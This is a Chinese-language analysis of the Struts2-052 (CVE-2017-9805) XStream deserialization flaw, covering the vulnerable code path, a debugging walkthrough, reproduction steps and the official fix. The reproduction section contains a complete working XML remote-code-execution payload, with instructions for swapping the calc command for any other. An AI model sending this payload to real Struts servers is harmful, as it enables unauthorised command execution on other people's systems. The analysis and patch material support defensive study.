Struts2-052漏洞分析

2024-03-14 00:10
文章标签 分析 漏洞 struts2 052

本文主要是介绍Struts2-052漏洞分析,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

这里写图片描述

1. 漏洞描述

  • 漏洞描述:Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击。
  • 漏洞编号:CVE-2017-9805
  • 漏洞作者:lgtm.com的安全研究员
  • 影响版本:Version 2.5.0 to 2.5.12 和 Version 2.3.0 to 2.3.33
  • 漏洞等级:高危

2. 漏洞简介

QuestionDescription
Who should read thisAll Struts 2 developers and users
Impact of vulnerabilityA RCE attack is possible when using the Struts REST plugin with XStream handler to deserialise XML requests
Maximum security ratingCritical
RecommendationUpgrade to Struts 2.5.13 or Struts 2.3.34
Affected SoftwareStruts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12
ReporterMan Yue Mo (lgtm.com / Semmle). More information on the lgtm.com blog: https://lgtm.com/blog
CVE IdentifierCVE-2017-9805

3. 漏洞分析

3.1 漏洞说明

  本次漏洞触发点是REST插件在解析请求中的xml文件时,调用了XStreamHandler,传入的数据会被默认进行反序列化,如果当传入的xml是个经过XStream序列化的恶意对象时,便造成反序列化漏洞。

3.2 漏洞原理分析

  本次漏洞的成因由两部分组成,一个是 Struts2 REST插件(struts2-rest-plugin-2.x.jar)本身没有对进入的数据进行安全检查,导致攻击者可以传入恶意的xml对象可以传入到XStream里。另一个是XStream在反序列化传入的xml造成的远程代码执行。

关键代码在org.apache.struts2.rest.ContentTypeInterceptor里。

 public String intercept(ActionInvocation invocation) throws Exception {HttpServletRequest request = ServletActionContext.getRequest();ContentTypeHandler handler = selector.getHandlerForRequest(request);Object target = invocation.getAction();if (target instanceof ModelDriven) {target = ((ModelDriven)target).getModel();}if (request.getContentLength() > 0) {InputStream is = request.getInputStream();InputStreamReader reader = new InputStreamReader(is);handler.toObject(reader, target);}return invocation.invoke();}

ContentTypeHandler handler = selector.getHandlerForRequest(request); 通过request数据获取执行方法:org.apache.struts2.rest.handler.XStreamHandler

handler.toObject(reader, target); 对获取到的序列化的xml数据进行反序列化操作,在这一阶段将序列化的恶意POC进行反序列化操作并造成代码执行。

这里我们直接断点打在上文说的两个地方,用恶意payload进行攻击。

这里写图片描述

我们可以看到整个的调用栈,找到断点处,f5进入断点逻辑,可以看到在标记处获取Content-Type的值为:application/xml。

这里写图片描述

继续debug,可以看到根据我们获取到的content-type值从而得到我们代码执行的调用栈地址:

这里写图片描述

指定了我们的处理方法,继续断点到handler.toObject(reader, target);处:

这里写图片描述

f5进去toObject函数方法,继续执行,在XStreamHanler.toObject调用了XStream的fromXml,从而进入反序列化流程:

这里写图片描述

继续执行,看到反序列化函数unmarshal,在这个函数执行时没有进行数据安全检查,导致远程代码执行。

这里写图片描述

返回执行结果:

这里写图片描述

4. 漏洞复现

  1. 通过网上下载含有struts2-rest-plugin-2.5.12.jar版本的官方环境struts2-rest-showcase-2.5.12.war。
  2. 将下载的war包通过eclipse导入到工程中,File—>Import—->war file。

    这里写图片描述

  3. 需要注意的是,由于javax.imageio的依赖关系,我们的环境的jdk版本需要是jdk8以上,jdk8某些低版本也是不行的,本文作者的版本是jdk8_111,后续的一些验证都是在这个版本上做的。
  4. 启动工程,然后通过burpsuite进行抓包,然后Send to Reapeater 进行数据包篡改。

    这里写图片描述

  5. 主要POC为:

    <map> 
    <entry> 
    <jdk.nashorn.internal.objects.NativeString> 
    <flags>0</flags> 
    <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> 
    <dataHandler> 
    <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
    <is class="javax.crypto.CipherInputStream"> 
    <cipher class="javax.crypto.NullCipher"> 
    <initialized>false</initialized> 
    <opmode>0</opmode> 
    <serviceIterator class="javax.imageio.spi.FilterIterator"> 
    <iter class="javax.imageio.spi.FilterIterator"> 
    <iter class="java.util.Collections$EmptyIterator"/> 
    <next class="java.lang.ProcessBuilder"> 
    <command> 
    <string>calc</string> 
    </command> 
    <redirectErrorStream>false</redirectErrorStream> 
    </next> 
    </iter> 
    <filter class="javax.imageio.ImageIO$ContainsFilter"> 
    <method> 
    <class>java.lang.ProcessBuilder</class> 
    <name>start</name> 
    <parameter-types/> 
    </method> 
    <name>foo</name> 
    </filter> 
    <next class="string">foo</next> 
    </serviceIterator> 
    <lock/> 
    </cipher> 
    <input class="java.lang.ProcessBuilder$NullInputStream"/> 
    <ibuffer></ibuffer> 
    <done>false</done> 
    <ostart>0</ostart> 
    <ofinish>0</ofinish> 
    <closed>false</closed> 
    </is> 
    <consumed>false</consumed> 
    </dataSource> 
    <transferFlavors/> 
    </dataHandler> 
    <dataLen>0</dataLen> 
    </value> 
    </jdk.nashorn.internal.objects.NativeString> 
    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> 
    </entry> <entry> 
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> 
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> 
    </entry> 
    </map>
    

注意事项:

  1. 注意如果数据包请求方式为GET的话需要修改为POST请求方式。
  2. 注意修改Content-Type的值为:application/xml。
  3. 该POC为windows服务器上弹出计算器payload,若想修改为其他执行payload,将<string>calc</string>中的calc替换为你想执行的命令,空格用多个 <string></string>标签嵌套。

5. 修复方案

5.1 补丁分析

对struts2-rest-plugin-2.5.12.jar中的struts-plugin.xml进行分析,可以看到XStreamHanler就是Content-Type:xml的默认处理句柄,而且可以看出xml是默认支持格式,这也就是说存在rest插件就会存在XStream的反序列化漏洞。

这里写图片描述

通过对比官方的补丁,我们可以看到最主要的修复逻辑在plugins/rest/src/main/java/org/apache/struts2/rest/handler/XStreamHandler.java中:

这里写图片描述

在官方的修复方案中,主要就是将xml中的数据白名单化,把Collection和Map,一些基础类,时间类放在白名单中,这样就能阻止XStream反序列化的过程中带入一些有害类。

5.2 修复建议

  1. Version 2.3.0 to 2.3.33升级到Struts 2.3.34版本
  2. Version 2.5.0 to 2.5.12升级到Struts 2.5.13版本


原文链接:https://yaofeifly.github.io

这篇关于Struts2-052漏洞分析的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/806658

相关文章

Springboot中分析SQL性能的两种方式详解

《Springboot中分析SQL性能的两种方式详解》文章介绍了SQL性能分析的两种方式:MyBatis-Plus性能分析插件和p6spy框架,MyBatis-Plus插件配置简单,适用于开发和测试环... 目录SQL性能分析的两种方式:功能介绍实现方式:实现步骤:SQL性能分析的两种方式:功能介绍记录

最长公共子序列问题的深度分析与Java实现方式

《最长公共子序列问题的深度分析与Java实现方式》本文详细介绍了最长公共子序列(LCS)问题,包括其概念、暴力解法、动态规划解法,并提供了Java代码实现,暴力解法虽然简单,但在大数据处理中效率较低,... 目录最长公共子序列问题概述问题理解与示例分析暴力解法思路与示例代码动态规划解法DP 表的构建与意义动

C#使用DeepSeek API实现自然语言处理,文本分类和情感分析

《C#使用DeepSeekAPI实现自然语言处理,文本分类和情感分析》在C#中使用DeepSeekAPI可以实现多种功能,例如自然语言处理、文本分类、情感分析等,本文主要为大家介绍了具体实现步骤,... 目录准备工作文本生成文本分类问答系统代码生成翻译功能文本摘要文本校对图像描述生成总结在C#中使用Deep

SQL注入漏洞扫描之sqlmap详解

《SQL注入漏洞扫描之sqlmap详解》SQLMap是一款自动执行SQL注入的审计工具,支持多种SQL注入技术,包括布尔型盲注、时间型盲注、报错型注入、联合查询注入和堆叠查询注入... 目录what支持类型how---less-1为例1.检测网站是否存在sql注入漏洞的注入点2.列举可用数据库3.列举数据库

Redis主从/哨兵机制原理分析

《Redis主从/哨兵机制原理分析》本文介绍了Redis的主从复制和哨兵机制,主从复制实现了数据的热备份和负载均衡,而哨兵机制可以监控Redis集群,实现自动故障转移,哨兵机制通过监控、下线、选举和故... 目录一、主从复制1.1 什么是主从复制1.2 主从复制的作用1.3 主从复制原理1.3.1 全量复制

Redis主从复制的原理分析

《Redis主从复制的原理分析》Redis主从复制通过将数据镜像到多个从节点,实现高可用性和扩展性,主从复制包括初次全量同步和增量同步两个阶段,为优化复制性能,可以采用AOF持久化、调整复制超时时间、... 目录Redis主从复制的原理主从复制概述配置主从复制数据同步过程复制一致性与延迟故障转移机制监控与维

Redis连接失败:客户端IP不在白名单中的问题分析与解决方案

《Redis连接失败:客户端IP不在白名单中的问题分析与解决方案》在现代分布式系统中,Redis作为一种高性能的内存数据库,被广泛应用于缓存、消息队列、会话存储等场景,然而,在实际使用过程中,我们可能... 目录一、问题背景二、错误分析1. 错误信息解读2. 根本原因三、解决方案1. 将客户端IP添加到Re

Redis主从复制实现原理分析

《Redis主从复制实现原理分析》Redis主从复制通过Sync和CommandPropagate阶段实现数据同步,2.8版本后引入Psync指令,根据复制偏移量进行全量或部分同步,优化了数据传输效率... 目录Redis主DodMIK从复制实现原理实现原理Psync: 2.8版本后总结Redis主从复制实

锐捷和腾达哪个好? 两个品牌路由器对比分析

《锐捷和腾达哪个好?两个品牌路由器对比分析》在选择路由器时,Tenda和锐捷都是备受关注的品牌,各自有独特的产品特点和市场定位,选择哪个品牌的路由器更合适,实际上取决于你的具体需求和使用场景,我们从... 在选购路由器时,锐捷和腾达都是市场上备受关注的品牌,但它们的定位和特点却有所不同。锐捷更偏向企业级和专

Spring中Bean有关NullPointerException异常的原因分析

《Spring中Bean有关NullPointerException异常的原因分析》在Spring中使用@Autowired注解注入的bean不能在静态上下文中访问,否则会导致NullPointerE... 目录Spring中Bean有关NullPointerException异常的原因问题描述解决方案总结